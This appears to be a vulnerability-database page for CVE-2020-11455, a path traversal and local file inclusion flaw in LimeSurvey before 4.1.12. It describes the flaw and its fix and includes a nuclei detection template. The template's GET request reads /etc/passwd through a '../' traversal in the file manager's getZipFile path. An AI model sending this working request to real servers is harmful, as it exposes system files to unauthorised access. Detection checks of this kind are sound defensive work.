HexBrain

Browse / CVEs / CVE-2020-11455

CVE-2020-11455· limesurvey / limesurvey· CWE-22

LimeSurvey 4.1.11 - Local File Inclusion

criticalseverity
9.8CVSS score
97%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

LimeSurvey before 4.1.12+200324 is vulnerable to local file inclusion because it contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.

Fix

Upgrade to the latest version of LimeSurvey (4.1.12 or higher) which includes a fix for this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-11455 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-11455

info:
  name: LimeSurvey 4.1.11 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: LimeSurvey before 4.1.12+200324 is vulnerable to local file inclusion because it contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Upgrade to the latest version of LimeSurvey (4.1.12 or higher) which includes a fix for this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48297
    - https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b
    - http://packetstormsecurity.com/files/157112/LimeSurvey-4.1.11-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11455
    - https://github.com/KayCHENvip/vulnerability-poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11455
    cwe-id: CWE-22
    epss-score: 0.96994
    epss-percentile: 0.9989
    cpe: cpe:2.3:a:limesurvey:limesurvey:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: limesurvey
    product: limesurvey
  tags: cve2020,cve,lfi,edb,packetstorm,limesurvey,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from